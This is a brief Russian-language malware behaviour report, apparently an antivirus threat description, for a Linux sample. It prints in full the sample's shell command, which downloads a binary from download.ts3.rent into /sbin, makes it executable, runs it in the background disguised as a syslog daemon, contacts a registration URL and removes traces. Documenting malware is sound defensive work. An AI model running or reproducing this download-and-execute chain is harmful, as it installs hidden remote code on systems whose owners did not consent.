Техническая информация
Вредоносные функции:
Удаляет следующие системные файлы:
- /sbin/x
Запускает процессы:
- sh -c cd /sbin; rm -rf rsyslogb; curl -O http://download.ts3.rent/rsyslogb &> x; chmod 777 rsyslogb; sed -i 's/\r//' rsyslogb; nohup sh -c '/sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &' &>/dev/null &> x; curl http://download.ts3.rent/kayit.php?kayit=1 &> x; rm -rf x; cd;
- rm -rf rsyslogb
- chmod 777 rsyslogb
- sed -i s/\r// rsyslogb
- nohup sh -c /sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &
- rm -rf x
- sh -c /sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &
Выполняет операции с файловой системой:
Создает или модифицирует файлы:
- /sbin/x
Удаляет файлы:
- /sbin/rsyslogb
